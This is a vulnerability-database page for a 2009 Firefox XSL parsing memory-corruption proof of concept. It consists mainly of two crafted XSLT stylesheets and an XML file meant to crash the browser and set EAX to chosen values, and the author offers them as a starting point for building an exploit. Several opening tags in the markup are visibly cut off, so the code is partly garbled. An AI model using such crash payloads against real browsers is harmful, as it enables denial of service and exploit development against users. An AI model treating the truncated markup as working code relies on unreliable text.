Mozilla Firefox XSL - Parsing Remote Memory Corruption (PoC) (2)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057631 漏洞类型
发布时间 2009-04-06 更新时间 2009-04-06
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/8356
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
-------------
by DATA_SNIPER
GREETZ TO THE FOUNDER ;)
fore more information and bug analyses:
http://www.at4re.com/f/showthread.php?p=47560
i tray to manipulate the POC for new idea,you now that the call is calling invalid address [00000000]
so i can change it to [00000031] ,i konw it's usless but it can make diffrent when some smart  can exploit it by changing some things in the exploit.
and the second code  change the EAX to 017ED9A0.
xslt.xsl code EAX=00000031:
<?xml version="1.0" encoding="UTF-8"?>

http://www.w3.org/1999/XSL/Transform">

    <xsl:key name="label" match="item1" use=""/>

    <xsl:template match="root">
                   <xsl:for-each select="key('label', @item1)">
                </xsl:for-each>
    </xsl:template>

</xsl:stylesheet>
xslt.xsl code EAX=017ED9A0:
<?xml version="1.0" encoding="UTF-8"?>

http://www.w3.org/1999/XSL/Transform">

    <xsl:key name="label" match="item1" use=""/>

    <xsl:template match="root">
                   <xsl:value-of select="key('label', @item1)">
                </xsl:value-of>
    </xsl:template>
</xsl:stylesheet>

xmlcrash.xml code:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
http://www.w3.org/2001/XMLSchema-instance">
    <item1 id="datasniper" />
</root>

# milw0rm.com [2009-04-06]